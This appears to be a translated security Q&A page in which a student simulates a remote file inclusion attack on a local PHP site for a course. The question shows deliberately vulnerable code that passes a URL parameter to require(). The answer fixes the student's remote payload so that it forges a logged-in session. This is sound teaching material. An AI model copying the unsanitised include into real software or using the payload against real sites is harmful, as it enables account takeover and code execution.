Lo script incluso a distanza non può impostare le variabili di sessione

0

Sto provando a simulare un attacco di inclusione di file remoto sul mio server web locale come parte di un corso che sto seguendo. Ho avuto l'idea di essere in grado di "loggarmi" su un sito web che ho configurato senza realmente loggarmi tramite il sistema, piuttosto semplicemente impostando le variabili di sessione appropriate in uno script remoto e quindi includendolo nel codice del mio sito web. Ora ho ottenuto lo script da includere ed eseguire sul mio sito web (posso echo stringhe ecc.) Ma non riesco a impostare le variabili di sessione usando lo script remoto. Qualcuno ha qualche idea del perché?

Ecco il codice del sito web finora:

index.php:

<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Document</title>
</head>
<body>
  <?php require("php/imageupload.php"); ?>
  <p>Logged in as: <?php echo $_SESSION['username']; ?></p>
</body>
</html>

imageupload.php:

<?php
  session_start();
  $file = $_GET["file"];
  require($file);
?>

hack.php (file remoto):

<?php
  session_start();
  $_SESSION['username'] = "foo";
  echo "test";
?>

Quando richiedo http://localhost/index.php?file=http://127.0.0.1/hack.php ottengo la seguente risposta:

test

Logged in as:
    
posta Simon Hyttfors 10.10.2018 - 09:40
fonte

1 risposta

0

Il file incluso viene effettivamente eseguito su il tuo server, non sul server vulnerabile quando lo si include (che in questo caso è lo stesso server, ma è ancora un comportamento errato).

Ciò che è incluso è in realtà il risultato dell'esecuzione di PHP ("test" in questo caso).

Quello che vuoi è restituire un file che contiene effettivamente il codice. Quindi potresti trasformare il file hack.php in hack.txt , o semplicemente regolare il codice per echeggiare il carico utile desiderato:

<?php
echo '<?php
  session_start();
  $_SESSION[\'username\'] = "foo";
  echo "test";
?>';
    
risposta data 10.10.2018 - 10:00
fonte

Leggi altre domande sui tag